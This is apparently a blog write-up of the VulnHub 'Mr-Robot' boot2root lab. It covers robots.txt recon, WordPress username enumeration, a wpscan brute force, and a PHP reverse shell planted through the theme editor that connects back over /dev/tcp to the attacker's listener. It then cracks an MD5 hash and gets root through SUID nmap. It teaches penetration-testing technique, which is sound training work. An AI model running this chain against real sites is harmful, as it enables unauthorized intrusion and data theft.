Writeup · VulnHub · Boot2Root

Mr-Robot

The classic that teaches the fundamentals: read what the site tells you not to, turn a leaked wordlist against a WordPress login, write a shell through the admin panel, crack a password that was left lying around, and ride an old SUID binary to root. Three keys, start to finish.

target 192.168.56.124 os Linux app WordPress difficulty Easy result root · 3/3 keys
// 00

Executive summary

Mr-Robot is a web-to-root box built around a WordPress site. Nothing here needs an exploit in the CVE sense — every step is a misuse of something left exposed or misconfigured. The path:

root@pen-test-lab:~ — kill-chain
# 1 recon → robots.txt leaks key #1 and fsocity.dic wordlist # 2 wordpress → username enum + brute with fsocity.dic # 3 rce → theme editor → PHP shell → user 'daemon' # 4 pivot → crack robot's MD5 → su robot → key #2 # 5 privesc → SUID nmap --interactive → root → key #3
FlagValueWhere
key-1-of-3073403c8a58a1f80d943455fb30724b9/key-1-of-3.txt (web)
key-2-of-3822c73956184f694993bede3eb39f959/home/robot/ (as robot)
key-3-of-304787ddef27c3dee1ee161b21670b4e4/root/ (as root)

PHASE 01 · reconnaissance

Read the robots

nmap -Pn -p22,80,443 192.168.56.124
# 22/tcp  closed
# 80/tcp  open   http  (Apache / WordPress)
# 443/tcp open   https

The first thing to check on any web target is robots.txt — the file that politely lists what the owner would rather crawlers ignore:

curl http://192.168.56.124/robots.txt
# User-agent: *
# fsocity.dic
# key-1-of-3.txt

curl http://192.168.56.124/key-1-of-3.txt
# 073403c8a58a1f80d943455fb30724b9      ← key #1

The other entry, fsocity.dic, is a ~858,000-line wordlist (only 11,451 unique once deduped) — the ammunition for the next step.

Takeaway. robots.txt is a disclosure, not a control. Anything listed there is a signpost pointing straight at what matters.
PHASE 02 · wordpress

Its own wordlist, turned against it

WordPress's login is a gift to an attacker: it returns different errors for a valid username with a bad password ("The password you entered… is incorrect") versus an unknown user ("Invalid username"). That difference lets you enumerate users. Testing names from the show, Elliot comes back valid.

First dedupe the leaked wordlist (858k → 11.4k) so the brute isn't 75× slower than it needs to be, then run it against the confirmed user:

sort -u fsocity.dic -o fsocity-uniq.dic
wpscan --url http://192.168.56.124/ -U Elliot -P fsocity-uniq.dic
# [+] Elliot : ER28-0652
Why it works. The site handed you the exact dictionary its own password lives in, and WordPress confirmed the username for you. Credential stuffing becomes trivial when both halves are disclosed.
PHASE 03 · remote code execution

Shell through the theme editor

An authenticated WordPress admin can edit theme PHP directly from the dashboard — Appearance → Editor. Overwrite a rarely-guarded template such as 404.php with a PHP reverse shell:

# in 404.php (Appearance → Editor), then start a listener and hit a missing page
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.117/4444 0>&1'"); ?>
nc -lvnp 4444
curl http://192.168.56.124/404-trigger    # fire the template
# connection received — id → uid=1(daemon)

Stabilise the shell and move on:

python -c 'import pty;pty.spawn("/bin/bash")'
PHASE 04 · user pivot

A password left in the open

In /home/robot/ sit two files — the second key (readable only by robot) and, carelessly, that user's password hash (readable by everyone):

ls -l /home/robot/
# -r-------- robot robot  key-2-of-3.txt     ← can't read yet
# -rw-r--r-- robot robot  password.raw-md5   ← world-readable
cat /home/robot/password.raw-md5
# robot:c3fcd3d76192e4007dfb496cca67e13b

That's a raw, unsalted MD5 — it falls instantly:

echo 'c3fcd3d76192e4007dfb496cca67e13b' | hashcat -m 0 - rockyou.txt
# c3fcd3d76192e4007dfb496cca67e13b : abcdefghijklmnopqrstuvwxyz

su robot        # password: abcdefghijklmnopqrstuvwxyz
cat /home/robot/key-2-of-3.txt
# 822c73956184f694993bede3eb39f959      ← key #2
Why it works. Unsalted MD5 of a dictionary word is effectively plaintext, and a secret file sitting world-readable next to a locked one defeats the lock entirely.
PHASE 05 · privilege escalation

SUID nmap → root

A sweep for SUID binaries turns up a non-standard one — an old nmap installed setuid root:

find / -perm -4000 -type f 2>/dev/null
# /usr/local/bin/nmap   ← SUID root, and old enough to have --interactive

Nmap 2.x–4.x shipped an interactive mode with a shell escape. Because the binary runs as root, so does the shell it spawns:

nmap --interactive
nmap> !sh
# whoami → root
cat /root/key-3-of-3.txt
# 04787ddef27c3dee1ee161b21670b4e4      ← key #3
Why it works. A SUID binary runs with the owner's privileges; if that binary can spawn a shell (GTFOBins lists dozens), it hands those privileges straight to you. Old nmap's --interactive + !sh is the canonical example.
// remediation

What the defender should fix

// toolkit

Tools used

nmapwpscanhashcatnetcatGTFOBins (nmap)no metasploit
root@pen-test-lab:~ — full chain
robots.txt → key #1 + fsocity.dic └─ dedupe wordlist → WP user enum (Elliot) → brute → ER28-0652 └─ wp-admin → theme editor (404.php) → shell as daemon └─ /home/robot/password.raw-md5 → crack → su robot → key #2 └─ SUID nmap --interactive → !sh → root → key #3
← all writeups

Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.